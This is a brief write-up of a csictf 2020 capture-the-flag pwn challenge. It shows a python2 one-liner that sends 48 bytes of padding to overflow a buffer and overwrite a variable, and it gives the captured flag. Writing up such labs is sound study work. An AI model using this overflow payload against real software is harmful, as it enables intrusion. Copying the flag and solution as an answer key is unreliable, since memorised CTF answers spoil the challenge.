点击此处获得更好的阅读体验
WriteUp来源
https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Pwn-Intended-0x1.html
by AnandSaminathan
题目描述
题目考点
解题思路
This is exactly same as coffer-overflow-0 from redpwn-2020.
Have to overwrite a variable with any value (other than zero).
1 | mov rax,QWORD PTR [rip+0x2ef4] |
The buffer size is 30, so any input of size >= 48 (multiple of 16) should print the flag. This worked:
1 | python2 -c "print 'A'*48" | ./pwn-intended-0x1 |
Flag
1 | csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r} |